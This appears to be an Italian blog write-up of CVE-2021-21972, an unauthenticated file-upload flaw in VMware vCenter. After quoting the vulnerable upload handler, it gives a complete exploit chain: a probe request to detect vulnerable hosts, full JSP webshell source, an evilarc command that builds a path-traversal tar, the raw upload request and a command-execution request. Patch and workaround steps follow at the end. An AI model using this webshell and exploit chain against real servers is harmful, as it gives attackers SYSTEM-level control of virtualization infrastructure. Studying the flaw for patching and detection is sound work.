
[CVE-2021-21972] VMware vSphere Client Caricamento file non autorizzato verso esecuzione di codice remoto (RCE)
[CVE-2021-21972] VMware vSphere Client Upload di File Non Autorizzato per l'Esecuzione di Codice Remota (RCE)
Il vSphere Web Client (HTML5) è essenzialmente un'interfaccia amministrativa che consente la gestione di un'installazione vSphere. Il vSphere Client fornisce a un amministratore l'accesso alle funzioni chiave di vSphere senza la necessità di accedere direttamente a un server vSphere. Consente agli amministratori di creare nuove macchine virtuali e gestire quelle esistenti e le relative risorse. Come applicazione web multipiattaforma, può essere utilizzato su tutti i sistemi operativi supportati tramite le versioni supportate dei diversi browser web.
CVE-2021-21972 è una vulnerabilità di upload di file non autorizzato in vCenter Server che porta all'esecuzione di codice remota sul server remoto. Il problema deriva dalla mancanza di autenticazione nel vRealize Operations vCenter Plugin. Ha ricevuto un punteggio CVSSv3 critico di 9,8 su 10,0. Un attaccante remoto non autenticato potrebbe sfruttare questa vulnerabilità caricando un file appositamente predisposto su un endpoint vulnerabile di vCenter Server accessibile pubblicamente. Le versioni 6.5, 6.7 e 7.0 di VMware vCenter Server sono affette da questa vulnerabilità. Lo sfruttamento riuscito di questa vulnerabilità comporterebbe per un attaccante l'ottenimento di privilegi illimitati di esecuzione di codice remota (RCE) nel sistema operativo sottostante del vCenter Server. Nonostante il fatto che questa vulnerabilità derivi dal vRealize Operations vCenter Plugin, l'advisory VMware conferma che questo plugin è incluso in tutte le installazioni predefinite di vCenter Server. Ciò significa che l'endpoint vulnerabile è disponibile indipendentemente dalla presenza di vRealize Operations.
Nel post originale del blog , la scoperta della vulnerabilità è spiegata nel modo più dettagliato possibile, così come due percorsi separati per ottenere la RCE. Per i sistemi Windows, un attaccante potrebbe caricare un file .jsp appositamente predisposto per ottenere privilegi sul sistema operativo sottostante. Per i sistemi Linux, un attaccante dovrebbe generare e caricare una chiave pubblica nel percorso authorized_keys del server e poi connettersi al server vulnerabile tramite SSH per ottenere i privilegi dell'utente . (se il servizio SSH è in esecuzione e accessibile tramite rete)
NT AUTHORITY\SYSTEMvsphere-uivropsplugin-service.jar è un file archivio Java del plugin vropspluginui e include alcune classi e altre funzioni e metodi correlati. La parte vulnerabile del codice è illustrata di seguito. Questo frammento di codice appartiene alla classe ServicesController.class nel controller di vropsplugin-service.jar. Come si può vedere nel frammento di codice qui sotto, la funzione uploadOvaFile è responsabile dell'endpoint/URL /ui/vropspluginui/rest/services/uploadova
Percorso completo della classe vulnerabile: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
Dal punto di vista di un attaccante, il gestore per questa classe esegue le seguenti azioni
uploadFile con una richiesta POST (riga 2)uploadFile e scrivere il contenuto di questo parametro nella variabile inputStream (riga 22)/tmp/unicorn_ova_dir + entry.getName() (righe 42 e 47)Proof of Concept: Per sfruttare questa vulnerabilità, puoi utilizzare i seguenti passaggi
../..//statsreport/uploadedFileName.jspPer verificare la vulnerabilità, puoi utilizzare la seguente richiesta
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Se la risposta alla richiesta precedente è simile alle risposte qui sotto, significa che l'host remoto è vulnerabile a CVE-2021-21972
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
Dopodiché, dobbiamo creare un file .tar appositamente predisposto. Per questo puoi usare evilarc. Evilarc è un semplice script Python che ti consente di creare un file zip contenente file con caratteri di directory traversal nel loro percorso incorporato.
Contenuto di cmdjsp.jsp che è essenzialmente una webshell
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Con il seguente comando, verrà generato il file archivio .tar appositamente predisposto.
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Quindi, basta caricare il file .tar sul server utilizzando la seguente richiesta
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
La risposta alla richiesta precedente è riportata qui sotto
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS

Se il codice di stato della risposta alla richiesta precedente è 200 OK e il corpo è SUCCESS, significa che il file archivio .tar è stato caricato con successo nel percorso ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport. A causa del flusso dell'applicazione, il server estrarrà il file .tar nella directory /statsreport. Dopo questa fase, tutto ciò che devi fare è la seguente richiesta GET per l'esecuzione di codice remota con privilegi NT AUTHORITY\SYSTEM.
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Soluzione di Workaround: VMware ha corretto questa vulnerabilità rispettivamente nelle versioni 7.0 U1c, 6.7 U3l e 6.5 U3n. Tuttavia, se la patch non può essere installata, per implementare il workaround per CVE-2021-21972 e CVE-2021-21973 su distribuzioni vCenter Server basate su Windows, eseguire i seguenti passaggi:
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xmlcompatibility-matrix.xml in un editor di testo<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> nell'elemento pluginsCompatibilityC:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
Administration > Solutions > client-pluginsPer implementare il workaround per CVE-2021-21972 e CVE-2021-21973 su appliance virtuali basate su Linux (vCSA), eseguire i seguenti passaggi:
/etc/vmware/vsphere-ui/compatibility-matrix.xmlcompatibility-matrix.xml in un editor di testo<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> nell'elemento pluginsCompatibility> service-control --stop vsphere-ui
> service-control --start vsphere-ui
Nota che questa vulnerabilità è stata scoperta da Mikhail Klyuchnikov di Positive Technologies e il post di ricerca originale è disponibile qui
Per maggiori informazioni, visita le seguenti pagine.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html